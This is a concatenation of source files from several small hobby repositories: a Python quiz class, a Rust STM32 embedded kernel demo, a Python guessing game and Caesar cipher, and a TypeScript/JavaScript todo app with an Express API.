there can be multiple answers
accessList - a list of names of students for a quiz
Public Methods:
getQuizName() - returns the quiz name for a quiz
getQuestion() - returns a specific question for a quiz
getQuestions() - returns the questions for a quiz
getChoice() - returns a specific choice for a quiz
getAnswer() - returns a specific answer key for a quiz
getAttempts() - returns the number of attempts
getWeight() - returns the weight of a quiz
checkAccess() - returns a list of students that can access a quiz"""
def __init__(self,quiz_name,attempts,start_time,end_time):
self.name = quiz_name
self.attempts = attempts
self.start_time = start_time
self.end_time = end_time
self.question_bank = []
self.choices = []
self.answer_key = []
self.accessList = []
def _setQuizName(self,name):
"""This function takes the name of the quiz
as a string and sets that to the name of the quiz
Params:
name - Quiz name for the given quiz, is a string
Returns:
None"""
self.name = name
def _setAttempts(self,attempts):
"""This function takes the number of attempts
requested and then converts it into an integer
Params:
attempts-the number of attmepts for a quiz
Returns:
None"""
self.attempts = attempts
def _setStartTime(self,stime):
"""This function sets the start time
for the quiz
Params:
stime - the time the instructor wants to start the quiz
Returns:
None
"""
self.start_time = stime
def _setEndTime(self,etime):
"""This functions sets the end time
for the quiz
Params:
etime - the time the instructor wants to end the quiz
Returns:
None"""
self.end_time = etime
def _addQuestion(self,question,weight):
"""Adds a question to a list of questions for a quiz
Takes both a question as a string and weight
as an integer
that are placed into a list which is then placed into
a question bank
Params:
question - The question for a quiz, stored as a string
weight - The weight for a given question, given as a string,stored
as a float variable
Returns:
None """
qList = []
qList.append(question)
qList.append(float(weight))
self.question_bank.append(qList)
def _addChoices(self,*choice):
"""Adds choices to a list of choices a question will
provide during a quiz
takes the choices that an instructor wants for a question
as a string
then adds it into a choice list
Params:
choice- stores a choice for a quiz question as a string
Returns:
None"""
self.choices.append(choice)
def _addAnswerKey(self,*ans):
"""Adds the correct answers for a specific question
into an answer key list
takes answers as a string and places it into
the answer key list
Params:
*ans - the answer or answers that wants to be entered
Returns:
None"""
self.answer_key.append(ans)
def getQuizName(self):
"""This function returns the name of the quiz
Params:
None
Returns:
The quiz name that is stored
"""
return self.name
def getQuestion(self,index):
"""This function returns a specific question name and weight
This function takes an index as
an integerprovided by the instructor
and returns that question which is a string
Params:
index - the question index the instructor is looking for,
stored as a string, converted to int
Returns:
None """
question = self.question_bank[int(index)-1]
return question[0]
def getQuestions(self):
"""This function will return all questions
in the question as a List
Each question is a list of two elements
A question and that question's weight
Params:
None
Returns:
question_bank - the list of questions and weights stored"""
return self.question_bank
def getChoice(self,index):
"""This function returns the choices for a specific question
It will take an index an searh the choice list
for the corresponding index and return it
Params:
index - stores an index of a choice the instructor wants as a string,
which is then converted to an int value
Returns:
Choice/Choices the instructor wanted"""
return self.choices[int(index)]
def getChoices(self):
"""This function returns all of the choices
for a quiz
Params:
None
Returns:
The entire list of choices for a quiz"""
return self.choices
def getAnswer(self,index):
"""This function returns a specific answer for a question
It will take an index as a parameter and find the
corressponding index in the answer list and return it
Params:
index - the index of an answer the instructor wants
Returns:
answer_key[int(index)] -the specific answer the instructor wants"""
return self.answer_key[int(index)]
def getAnswers(self):
"""This function returns all of the
answers for a quiz as a List
Params:
None
Returns:
The answer list for the entire quiz
"""
return self.answer_key
def getStartTime(self):
"""This function returns the start time
Params:
None
Returns:
The start time for a quiz"""
return self.start_time
def getEndTime(self):
"""This function returns the end time of a quiz
Params:
None
Returns:
The end time for a quiz"""
return self.end_time
def getAttempts(self):
"""This function returns the attempts
that were inputted by the instructor
as a string
Params:
None
Returns:
The number of attempts alloted for a quiz"""
return self.attempts
def getWeight(self,index):
"""This function returns the weight for a specific question
It will take the index as integer and use that
to find the specific question weight
by getting that specific qList item
and returning the second index
Params:
index - the index of the question that is requested
Returns:
Returns the second element in the question list which contains the weight"""
weight = self.question_bank[index-1]
return weight[1]
#Editing functionality is not available at this time in flask
#def _removeQuestion(self,index):
#"""This function will remove a question from the quiz and
#then store it in a shelf
#It will take an index as integer
#Using that index it will delte that specific
#index from the question bank list
#and then store the objects
#in the persist module"""
#del self.question_bank[index-1]
#Editing functionality is not available at this time in flask
#def _editWeight(self,index,nweight):
# """This function will edit the weight of a question
#based on the question number entered
#by the instructor
#It will take the index as an integer
#and the new eight as either an integer/float/double
#value and change the current weight for a question
#"""
#weight = self.question_bank[index-1]
#weight[1] = nweight
#self.question_bank[index] = weight
#self.question_bank
#return
def _giveAccess(self,name):
"""
This function places a student's
name into the quiz access list
as a string which will
determine if they can access this specific quiz
Params:
name - the name of the student that can access the quiz
Returns:
None"""
self.accessList.append(name)
def checkAccess(self):
"""
This function returns the
access list for a quiz
Params:
None
Returns:
Returns the list of students that this quiz is accessible for"""
return self.accessList
#Commented this code out, might implement it later into the flask
#def _removeAccess(self,name):
# """This function allows the instructor
#to pass the name as a string
#and remove the access of that student"""
#try:
#for i in self.accessList:
#if name in self.accessList[i]:
# del self.accessList[i]
#else:
# next
#except ValueError:
# print("Name not in Access List!")
def _storeQuiz(self):
"""Stores the quiz using the persist module
This function uses the persist class to store the quiz
and ensure it persists
Params:
None
Returns:
None"""
storage.addQuiz(self)
|
e978908b0001efa4a45830a87fd80b14ce4cbabe
|
[
"Markdown",
"Python"
] | 18 |
Markdown
|
Kishoto/2005-Quiz-Project
|
3a7574d3c5524df4543b5833af1d0bc0d4194d3e
|
6c89a70d0cbfdcccefa0d4aa3d26fcdea623f038
|
refs/heads/master
|
<file_sep>use core::slice::from_raw_parts_mut;
use util::linked_list::LinkedList;
#[derive(PartialEq)]
pub enum ProcessState {
READY,
RUNNING,
WAITING,
DORMANT,
}
pub struct Process<'a> {
pub sp: *mut u8,
pub regs: &'a mut [u32; 8],
pub state: ProcessState,
pub message_queue: LinkedList<'a, u32>,
}
unsafe fn execute_process(mut sp: *mut u8, regs: &mut [u32; 8]) -> *mut u8 {
llvm_asm!(
"
msr psp, $1
ldmia $2, {r4-r11}
cpsie i
svc 0
cpsid i
stmia $2, {r4-r11}
mrs $0, psp
"
:"={r0}"(sp): "{r0}"(sp),"{r1}"(regs)
:"r4","r5","r6","r8","r9","r10","r11":"volatile"
);
sp
}
impl<'a> Process<'a> {
pub fn create(entry: u32, sp: u32, regs: &'a mut [u32; 8]) -> Process {
let base_frame_ptr = (sp - 0x20) as *mut u32;
let base_frame = unsafe { from_raw_parts_mut(base_frame_ptr, 8) };
base_frame[0] = 0; // r0
base_frame[1] = 0; // r1
base_frame[2] = 0; // r2
base_frame[3] = 0; // r3
base_frame[4] = 0; // r12
base_frame[5] = 0; // lr(r14)
base_frame[6] = entry & !1; // return address
base_frame[7] = 0x01000000; // xpsr, set thumb state
Process {
sp: base_frame_ptr as *mut u8,
regs: regs,
state: ProcessState::DORMANT,
message_queue: LinkedList::new(),
}
}
pub fn execute(&mut self) {
self.sp = unsafe { execute_process(self.sp, self.regs) };
}
}
<file_sep>#![no_std]
#![feature(llvm_asm)]
pub mod syscall;
pub mod util;
<file_sep>pub fn get_sp() -> u32 {
let result;
unsafe {
llvm_asm!(
"
mov sp, r0
"
:"={r0}"(result)
:::"volatile"
);
}
result
}
<file_sep>#![feature(custom_test_frameworks)]
#![test_runner(rt::test_runner)]
#![reexport_test_harness_main = "test_main"]
#![cfg_attr(test, no_main)]
#![no_std]
#![no_main]
#![feature(llvm_asm)]
use arch::nvic::Nvic;
use arch::systick::Systick;
use core::fmt::Write as CoreWrite;
use core::mem::MaybeUninit;
use cortex_m_semihosting::hio::hstdout;
use stm32f429zi::eth::{Ethernet, EthernetTransmitter, RxEntry, TxEntry};
use stm32f429zi::exti::Exti;
use stm32f429zi::gpio::Gpio;
use stm32f429zi::irq::IrqId;
use stm32f429zi::rcc::RCC;
use stm32f429zi::serial::Serial;
use stm32f429zi::syscfg::Syscfg;
use embedded_hal::serial::{Read, Write};
use kernel::{interrupt_manager::InterruptManager, kernel::SysTick};
use kernel::kernel::Kernel;
use kernel::message_manager::MessageManager;
use kernel::process::Process;
use kernel::process_list::ProcessListItem;
use kernel::process_manager::{ProcessId, ProcessManager};
use kernel::scheduler::simple_scheduler::SimpleScheduler;
use kernel::scheduler::Scheduler;
use kernel::{process_create, process_register};
use log::dhprintln;
use rt::entry;
use user::syscall::*;
use util::avl_tree::Node;
use util::linked_list::ListItem;
entry!(main);
static mut TICK_PROCESS_ID: u32 = 0;
pub fn main() -> ! {
//let mut stdout = hstdout().unwrap();
//write!(stdout, "Hello, world!").unwrap();
//let process = process_create!(app_main, 1024);
let tick_process = process_create!(tick, 1024);
let button_process = process_create!(button_callback, 1024);
let serial_process = process_create!(serial_func, 1024);
let registers = RCC.get_registers_ref();
let syscfg = Syscfg::new(0x4001_3800);
unsafe {
// enable USART3
registers.apb1enr.write(1 << 18);
// enable SYSCFG
registers.apb2enr.write(1 << 14);
// select RMII mode
syscfg.pmc.modify(|val| val | (1 << 23));
// enable GPIOA - GPIOE, GPIOG-GPIOI, ETH and DMA1
registers
.ahb1enr
.write(0b1_1101_1111 | (1 << 21) | (0b0111 << 25));
}
let mut serial = Serial::usart3();
let systick = Systick::new();
let val = systick.get_ticks_per_10ms();
systick.clear_current();
systick.set_reload(val * 100);
systick.enable();
let gpioa = Gpio::new(0x4002_0000);
let gpiob = Gpio::new(0x4002_0400);
let gpioc = Gpio::new(0x4002_0800);
let gpiod = Gpio::new(0x4002_0c00);
let gpioe = Gpio::new(0x4002_1000);
let gpiog = Gpio::new(0x4002_1800);
let exti = Exti::new(0x4001_3C00);
// For LED
unsafe {
gpiob.moder.modify(|val| (val | (0b1 << 28) | (0b1 << 14)));
gpiob.bsrr.write(0x1 << 28);
}
// For button
unsafe {
gpioc.pupdr.modify(|val| (val | (0b10 << 26)));
syscfg.exticr4.write(0b0010 << 4);
exti.imr.write(0);
exti.pr.write(0x1 << 13);
exti.rtsr.modify(|val| (val | (0b1 << 13)));
exti.imr.modify(|val| (val | (0b1 << 13)));
}
// For usart
unsafe {
gpiod.moder.write((0x2 << 16) | (0x2 << 18));
gpiod.afrh.write(0x7 | (0x7 << 4));
}
// For nic
unsafe {
// pa1, pa2, pa7
gpioa.moder.modify(|val| (val | 0b101000 | (0b10 << 14)));
// AF11
gpioa
.afrl
.modify(|val| (val | 0b0000_1011_1011_0000 | (0b1011 << 28)));
gpioa.ospeedr.modify(|val| val | 0b111100 | (0b11 << 14));
// pb13 (RMII TXD1)
gpiob.moder.modify(|val| val | (0b10 << 26));
// AF11 for pb13
gpiob.afrh.modify(|val| (val | (0b1011 << 20)));
gpiob.ospeedr.modify(|val| val | (0b11 << 26));
// pc1, 4, 5
gpioc.moder.modify(|val| val | (0b10_10_00_00_10_00));
// AF11 for pc1, 4, 5
gpioc
.afrl
.modify(|val| val | (0b1011_1011_0000_0000_1011 << 4));
gpioc.ospeedr.modify(|val| val | (0b11_11_00_00_11_00));
// pg11, pg13(RMII TX_EN, TXD0)
gpiog
.moder
.modify(|val| val | (0b10 << 22) | (0b10_10 << 26));
gpiog
.afrh
.modify(|val| val | (0b1011 << 12) | (0b1011_1011 << 20));
gpiog
.ospeedr
.modify(|val| val | (0b11 << 22) | (0b11 << 26));
registers.ahb1rstr.modify(|val| val | (1 << 25));
registers.ahb1rstr.modify(|val| val & !(1 << 25));
}
let nvic = Nvic::new();
// serial.send_buffer("hello dma world\r\n".as_bytes());
let eth = Ethernet::new(0x4002_8000);
eth.init();
let mut ETH_TRANS_BUFF: [TxEntry; 2] = Default::default();
let mut ETH_RECV_BUFF: [RxEntry; 4] = Default::default();
let mut transmitter = EthernetTransmitter::new(ð, unsafe { &mut ETH_TRANS_BUFF }, unsafe {
&mut ETH_RECV_BUFF
});
transmitter.init();
for c in "hello world\n".chars() {
serial.write(c).unwrap();
}
let message = "say hello\n\r";
for _i in 0..10 {
transmitter
.send(message.as_bytes().len(), |buff| {
buff.copy_from_slice(message.as_bytes());
})
.unwrap_or_else(|_| {
for c in "error\r\n".chars() {
serial.write(c).unwrap();
}
});
while transmitter.is_tx_running() {}
}
for _i in 0..10 {
transmitter
.send_buff(message.as_bytes())
.unwrap_or_else(|_| {
for c in "error\r\n".chars() {
serial.write(c).unwrap();
}
});
while transmitter.is_tx_running() {}
}
let mut scheduler = SimpleScheduler::new();
let mut process_manager = ProcessManager::new();
//process_register!(scheduler, process_manager, process);
process_register!(scheduler, process_manager, tick_process, tick_process_id);
process_register!(scheduler, process_manager, serial_process);
process_register!(scheduler, process_manager, button_process);
unsafe {
TICK_PROCESS_ID = tick_process_id;
}
let mut interrupt_manager = InterruptManager::create(nvic);
interrupt_manager.register(IrqId::USART3, serial_loopback);
interrupt_manager.register(IrqId::EXTI15_10, nothing);
let mut message_buff: [ListItem<u32>; 32] =
unsafe { core::mem::MaybeUninit::uninit().assume_init() };
let message_manager = MessageManager::new(&mut message_buff);
let mut kernel = Kernel::create(
scheduler,
serial,
interrupt_manager,
process_manager,
message_manager,
);
unsafe {
let sp: u32;
llvm_asm!("mov $0, sp":"=r"(sp):::"volatile");
dhprintln!("sp: {:x}", sp);
}
kernel.run();
}
pub unsafe extern "C" fn app_main(_r0: usize, _r1: usize, _r2: usize) -> ! {
let message: &str = "app_main";
print_str(message);
loop {
llvm_asm!(
"
mov r0, #5
svc 1
"
:::"r0":"volatile");
}
}
pub unsafe extern "C" fn button_callback() -> ! {
let message: &str = "pressed\n";
let message_ptr = message.as_ptr();
let length = message.bytes().len();
loop {
wait_for_interrupt(IrqId::EXTI15_10);
print_str(message);
}
}
pub unsafe extern "C" fn tick(_r0: usize, _r1: usize, _r2: usize) -> ! {
let gpiob = Gpio::new(0x4002_0400);
let mut status = false;
let mut mode = 0;
loop {
match receive_message() {
Some(command) => {
mode = command;
}
None => {}
}
if mode == 0 {
wait_for_event();
continue;
}
if status {
gpiob.get_registers_ref().bsrr.write(0x1 << 23);
} else {
gpiob.get_registers_ref().bsrr.write(0x1 << 7);
}
status = !status;
wait_for_systick();
}
}
pub unsafe extern "C" fn serial_func() -> ! {
let mut serial = Serial::usart3();
let mut buff = ['\0' as u8; 64];
let mut pos = 0;
loop {
wait_for_interrupt(IrqId::USART3);
serial.read().map(|c| {
if c == '\n' {
let command = &buff[0..pos];
if command == "blink".as_bytes() {
send_message(TICK_PROCESS_ID, 1);
} else if command == "stop".as_bytes() {
send_message(TICK_PROCESS_ID, 0);
}
pos = 0;
serial.write(c).unwrap();
} else {
if pos < buff.len() {
buff[pos] = c as u8;
pos += 1;
serial.write(c).unwrap();
}
}
});
}
}
pub fn serial_loopback() {
// let mut serial = Serial::usart3();
// serial.read().map(|c| serial.write(c).unwrap()).unwrap();
}
pub fn nothing() {
let exti = Exti::new(0x4001_3C00);
// let mut serial = Serial::usart3();
unsafe {
exti.pr.write(0x1 << 13);
/*
for c in "pressed\n".chars() {
serial.write(c).unwrap();
}
*/
}
}
<file_sep>[package]
name = "util"
version = "0.1.0"
authors = ["garasubo <<EMAIL>>"]
edition = "2018"
[dev-dependencies]
rand = "0.3"
[dependencies]
array-init = "0.0.4"
|
7461b5d512fc90b46c98248a92cada84277e9050
|
[
"Rust",
"TOML"
] | 5 |
Rust
|
Cloudinnovates/erkos
|
1a3df337393b7a7ef1c880aecc4a0abf04b29507
|
3bf86c80a317f2d3f2e800b76dbd5d7e378607b5
|
refs/heads/master
|
<file_sep>import os
import random
magic_number = random.randint(1, 1_000)
os.system("cls")
print("\n\n\n\n\nGuess! how many coconuts this island produced last season?")
print("You can try with 11 numbers")
guess = int(input( "Please, enter a number between 1 and 1.000 :"))
done = False
you_tried = 0
while not done:
if you_tried >=11:
print("\n\n\nUpss, Next time maybe you'll guess earlier !!\n\n\n")
done = True
elif guess < magic_number:
you_tried += 1
answer = f"Some more than {guess}"
print(answer)
print(f"counter = {you_tried}")
guess = int(input( "Please, enter a number between 1 and 1.000 :"))
elif guess > magic_number:
you_tried += 1
answer = "Too many coconuts !"
print(answer)
print(f"counter = {you_tried}")
guess = int(input( "Please, enter a number between 1 and 1000 :"))
elif guess == magic_number:
you_tried += 1
print(f"counter = {you_tried}")
answer = "\n\n\nthat's right !!!\n\n\n"
print(answer)
done = True
<file_sep>
answer = "a"
while not answer == "quit":
answer = input(" \n\n\n Do you want to 'cipher' or 'decrypt' or 'quit' ? : ")
if answer == "decrypt":
ciphertext = input("\n\n\n\tPlease, write the encrypted ciphertext : ").lower()
caesar_key_number = int(input("\n\n\n\tPlease, write the caesar_key_number,(0 < n < 25) : "))
plaintext = []
# plaintext = plaintext.lower()
# caesar_key_number = 3
# plaintext = "Mens sana in corpore sano".lower()
# plaintext = input("introduce the text you want to encrypt")
alfa = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n"]
beto = ["o","p","q","r","s","t","u","v","w","x","y","z"]
alfabeto = alfa + beto
"key = the caesar number, that is, the shift parameter"
k = caesar_key_number
# caesar_key_letter = alfabeto[k]
slice_a = alfabeto[0:k]
slice_b = alfabeto[k:]
clavicordio = slice_b + slice_a
for x in ciphertext:
if x == " ":
plaintext.append(" ")
else:
ordinal = -1
for letter in clavicordio:
ordinal +=1
if letter == x:
plaintext.append(alfabeto[ordinal])
print("\n\n\t","The Plaintext is = ","".join(plaintext), "\n\n")
if answer == "cipher":
plaintext = input("\n\n\n\tPlease, intro the plain, open text you want to hide : ").lower()
caesar_key_number = int(input("\n\n\n\tPlease, intro the Caesar Key \n\t Number you want to use to hide the text (0 < n < 25) : "))
# plaintext = "Mens sana in corpore sano".lower()
# plaintext = input("introduce the text you want to encrypt")
ciphertext = []
alfa = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n"]
beto = ["o","p","q","r","s","t","u","v","w","x","y","z"]
alfabeto = alfa + beto
"key = the caesar number, that is, the shift parameter"
k = caesar_key_number
# caesar_key_letter = alfabeto[k]
slice_a = alfabeto[0:k]
slice_b = alfabeto[k:]
clavicordio = slice_b + slice_a
for x in plaintext:
if x == " ":
ciphertext.append(" ")
else:
ordinal = -1
for letter in alfabeto:
ordinal +=1
if letter == x:
ciphertext.append(clavicordio[ordinal])
print("\n\n\t","The 'ciphertext' is = ","".join(ciphertext), "\n\n")
|
d3ed33d6ed16335a594d96f96c8976d8ab4f3b2f
|
[
"Python"
] | 2 |
Python
|
posada-xabier/project-1---The-island---2020-08-10
|
89ced23e6dafdfcf2e03fee95315a5eb897e441a
|
2c9f441e4842f2debc4f99ccee8bbc59419f27ac
|
refs/heads/master
|
<repo_name>shivjisakina/Responsive-Portfolio<file_sep>/README.md
# Responsive-Portfolio
## This was a project for week 2 of the UCF Full Stack Development Course
|
d8d6ffc78f6bc1ac41a63aeebfea5bb62640ccce
|
[
"Markdown"
] | 1 |
Markdown
|
shivjisakina/Responsive-Portfolio
|
eed71e4aa6f55c79517bc9a1ec0b33840bf0489f
|
8583896c18c7b3d8a919bd97fd35f2cb326af122
|
refs/heads/main
|
<file_sep>import { Request, Response } from "express";
import Todo from "../modules/todo";
export default class TodoController{
static async on_create(req:Request,res:Response){
const todo = await Todo.createTodo(req.body);
res.status(201).send({
message:{
"message": "todo created successfully",
"code": 201,
"status": true,
"data": todo
}
})
}
static on_delete (req:Request,res:Response){
const todo = Todo.createTodo(req.body);
res.status(201).send({message:"todo deleted successfully", data: todo.toJson})
}
}<file_sep>import { Request, Response } from "express";
import User from "../modules/user";
class UserController{
static on_login(req:Request,res:Response){
const user = User.fromJson(req.body);
res.status(200).send({message:" login successfully", data: user.toJson})
}
static on_register (req:Request,res:Response){
const user = User.fromJson(req.body);
res.status(201).send({message:" account created successfully", data: user.toJson})
}
}<file_sep>"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
class UserValidation {
static on_login(req, res, next) {
const { username, password } = req.body;
if (!username)
throw "username is required";
if (!password)
throw "password is required";
if (password.length < 6)
throw "password must not be less than six(6) characters";
next();
}
static on_register(req, res, next) {
const { firstName, lastName, email, username, password } = req.body;
if (!firstName)
throw "first name is required";
if (!lastName)
throw "last name is required";
if (!username)
throw "username is required";
if (!email)
throw "email is required";
if (!password)
throw "password is required";
if (password.length < 6)
throw "password must not be less than six(6) characters";
next();
}
}
<file_sep>"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const fs_1 = __importDefault(require("fs"));
const fs = fs_1.default.promises;
const dbLocation = process.cwd() + "/database/";
class Database {
constructor(name) {
this.name = name;
this.db_path = dbLocation + this.name + ".json";
this.db = [];
this.init();
}
init() {
return __awaiter(this, void 0, void 0, function* () {
fs_1.default.exists(this.db_path, (result) => __awaiter(this, void 0, void 0, function* () {
if (result === false) {
yield fs.writeFile(this.db_path, JSON.stringify([]));
}
const data = yield fs.readFile(this.db_path, { encoding: 'utf-8' });
if (!data)
return console.warn("No database found for " + this.name);
this.db = JSON.parse(data);
}));
});
}
create(key, data) {
return __awaiter(this, void 0, void 0, function* () {
this.db.push({ key, data: data });
console.log(this.db.map(e => JSON.stringify(e)));
yield fs.writeFile(this.db_path, JSON.stringify(this.db));
});
}
read(key) {
const data = this.db.find((i) => i.key === key);
if (!data)
return null;
return data.data;
}
update(key, update) {
return __awaiter(this, void 0, void 0, function* () {
let data = this.db.find((e) => e.key === key);
if (!data)
return console.error("no matching document for " + key);
data = Object.assign(Object.assign({}, data), update);
yield fs.writeFile(this.db_path, JSON.stringify(this.db));
});
}
delete() {
}
}
exports.default = Database;
<file_sep>import express from "express";
import bodyParser from "body-parser";
import morgan from "morgan";
import TodoController from "./controller/todo";
const app = express();
app.use(morgan("dev"))
app.use(bodyParser.json());
app.use((req, res , next)=>{
res.setHeader("Access-Control-Allow-origin", "*");
next();
})
app.get("/", (req, res)=>{
res.send({message:"welcome to our api", status:true})
})
app.post("/todo/add", TodoController.on_create)
const PORT = 8080;
app.listen(PORT,()=>{
console.log(`server running at http://127.0.0.1:${PORT}`);
})
<file_sep>// write a function that returns hello world
// write a function that takes in an input and returns hello + that input
// function start(){
// console.log("Hello World!")
// }
// start();
// function greet(name){
// console.log('hello' + ' ' + name);
// }
// greet('Victory');
console.log("Todo v 1.0.0")
let listOfTodo = [];
let timeouts = {};
const getElement = (id) => document.getElementById(id);
// add item only if it doesnt exist
function addItem(item) {
// listOfTodo = []
var index = listOfTodo.findIndex(x => x.value == item.value)
if (index === -1) {
listOfTodo.push(item);
// add an object contining data and another value to show if deleted
localStorage.setItem("todos", JSON.stringify(listOfTodo));
!item.deleted ? getElement("list-of-todos").innerHTML += todoItem(item.value) : getElement("list-of-history").innerHTML += todoItem(item.value);
} else {
console.log("object already exists")
}
console.log(listOfTodo);
}
async function addTodo(todo, deleted) {
if (!todo) return;
// object of data
const itemObject = {
deleted: deleted,
value: todo
}
await listOfTodo.push(itemObject);
localStorage.setItem("todos", JSON.stringify(listOfTodo));
}
// make todo unique
function getUniqueListBy(arr, key) {
return [...new Map(arr.map(item => [item[key], item])).values()]
}
// this fuction edits the todo and makes deleted true
const deleteTodo = async (todo, deleted) => {
// get item and edit to add deleted flag
var arr = []
const todos = localStorage.getItem("todos");
await JSON.parse(todos).map(async (todoValue, index) => {
// making sure we are sending just value
if (todoValue.value === todo) {
todoValue.deleted = true;
}
const userExists = listOfTodo.some(user => user.value === todoValue.value && user.deleted === todoValue.deleted);
if (userExists) {
return new Error({ error: 'User exists' })
}
await listOfTodo.push(todoValue)
arr = getUniqueListBy(listOfTodo, 'value')
await localStorage.setItem("todos", JSON.stringify(arr));
});
// empty array to add new fresh data with changed value
listOfTodo = []
await arr.forEach((todo) => {
addTodo(todo.value, todo.deleted)
});
await listOfTodo.forEach((todo) => {
const todoElement = getElement(todo.value);
if (todoElement) {
todoElement.remove();
}
});
await listOfTodo.forEach((todo) => {
!todo.deleted ? getElement("list-of-todos").innerHTML += todoItem(todo.value) : getElement("list-of-history").innerHTML += todoItem(todo.value);
})
onNewTodoAdded();
}
async function clearHistory() {
console.log(listOfTodo);
// loop theough array, look for the class and delete all of em
listOfTodo.forEach((todo) => {
const todoElement = getElement(todo.value);
if (todoElement && todo.deleted === true) {
todoElement.remove();
}
});
listOfTodo = []
// clear storage
const todos = localStorage.getItem("todos");
let deletedArr = [];
await JSON.parse(todos).map(async (todoValue, index) => {
// deleteing if deleted is equal true to clear history
(todoValue.deleted === false) && deletedArr.push(todoValue)
});
await localStorage.setItem("todos", JSON.stringify(deletedArr));
deletedArr = [];
}
async function loadFormStorage() {
const todos = localStorage.getItem("todos");
if (!todos) return;
await JSON.parse(todos).map((todo) => {
// making sure we are sending just value
addTodo(todo.value, todo.deleted);
});
await listOfTodo.forEach((todo) => {
!todo.deleted ? getElement("list-of-todos").innerHTML += todoItem(todo.value) : getElement("list-of-history").innerHTML += todoItem(todo.value);
})
onNewTodoAdded();
}
function onTodoInputChange(event, todo) {
if (event.target.checked === true) {
timeouts[todo.value] = setTimeout(() => {
removeTodo(todo);
}, 3 * 1000);
}
if (event.target.checked === false) {
clearTimeout(timeouts[todo.value]);
timeouts[todo.value] = 0;
}
getElement(todo.value).classList.toggle("completed");
}
function onNewTodoAdded() {
listOfTodo.forEach((todo) => {
getElement("input" + todo.value).addEventListener("change", (event) =>
onTodoInputChange(event, todo));
});
}
function removeTodo(todo) {
deleteTodo(todo.value, true);
listOfTodo = listOfTodo.filter((e) => todo.value != e);
const todoElement = getElement(todo.value);
if (todoElement) {
todoElement.remove();
}
}
async function onClickAddTodoButton() {
const newTodo = getElement("input-todo").value
getElement("input-todo").value = "";
addTodo(newTodo, false);
await listOfTodo.forEach((todo) => {
const todoElement = getElement(todo.value);
if (todoElement) {
todoElement.remove();
}
});
await listOfTodo.forEach((todo) => {
!todo.deleted ? getElement("list-of-todos").innerHTML += todoItem(todo.value) : getElement("list-of-history").innerHTML += todoItem(todo.value);
})
onNewTodoAdded();
}
function onCheckboxStateChange(event) {
}
function todoItem(todo) {
return `
<div id="${todo}" class="d-flex justify-content-between todo-item ">
<span>${todo}</span>
<input id="${'input' + todo}" class="todo-checkbox" type="checkbox" />
</div>
`;
}
getElement("input-todo").addEventListener("keydown", (event) => {
if (event.code === "Enter") {
onClickAddTodoButton()
}
})
// localStorage.removeItem("todos");
loadFormStorage();
// thursday's code
<file_sep>import {NextFunction, Request, Response } from "express";
import User from "../modules/user";
class UserValidation{
static on_login(req:Request,res:Response, next:NextFunction){
const { username, password } : {username:string,password:string}= req.body;
if(!username)throw "username is required"
if(!password)throw "password is required"
if(password.length<6)throw "password must not be less than six(6) characters"
next()
}
static on_register (req:Request,res:Response, next:NextFunction){
const {firstName, lastName, email, username, password } = req.body
if(!firstName)throw "first name is required"
if(!lastName)throw "last name is required"
if(!username)throw "username is required"
if(!email)throw "email is required"
if(!password)throw "password is required"
if(password.length<6)throw "password must not be less than six(6) characters"
next()
}
}<file_sep>import { json } from "body-parser";
import Database from "./databases";
const userDb = new Database("todo");
export default class Todo{
id:string;
title:string;
dueAt:Date;
constructor(id:string, title:string, dueAt:Date){
this.id = id;
this.title = title;
this.dueAt = dueAt;
}
toJson(){
return{
id :this.id,
title : this.title,
dueAt : this.dueAt,
}
}
static async createTodo(json:any){
const user = new Todo("", "", new Date(),);
// ID
let generatedId = Math.random().toString(36).substring(2);
// Date
var myDate = new Date();
myDate.setHours(myDate.getHours() + 24);
user.id = generatedId;
user.title = json['title'];
user.dueAt = myDate;
await userDb.create(user.id, user.toJson());
return user;
}
}
<file_sep>"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const user_1 = __importDefault(require("../modules/user"));
class UserController {
static on_login(req, res) {
const user = user_1.default.fromJson(req.body);
res.status(200).send({ message: " login successfully", data: user.toJson });
}
static on_register(req, res) {
const user = user_1.default.fromJson(req.body);
res.status(201).send({ message: " account created successfully", data: user.toJson });
}
}
<file_sep>import {Router} from "express";
const route = Router();
export default route;<file_sep>import { json } from "body-parser";
export default class User{
firstName:string;
lastName:string;
username:string;
email:string;
password:string;
private isEmailVerified:boolean;
private lastLogin:string;
constructor(firstName:string, lastName:string, username:string, email:string, password:string){
this.firstName = firstName;
this.lastName = lastName;
this.username = username;
this.email = email;
this.password =<PASSWORD>;
this.isEmailVerified = false;
this.lastLogin = new Date().toDateString();
}
login(){
console.log(this.toJson);
}
register(){
console.log(this.toJson);
}
toJson(){
return{
firstName :this.firstName,
lastName : this. lastName,
username : this. username,
email : this.email,
password: <PASSWORD>,
isEmailVerified : this. isEmailVerified,
lastLogin : this. lastLogin,
}
}
static fromJson(json:any){
const user = new User("", "", "", "", "");
user.firstName = json['firstName'];
user.lastName = json['lastName'];
user.username = String(json['username']).toLowerCase();
user.email = String(json['email']).toLowerCase();
user.isEmailVerified = json['isEmailVerified'];
user.lastLogin = json['lastLogin'];
return user;
}
}
<file_sep>"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
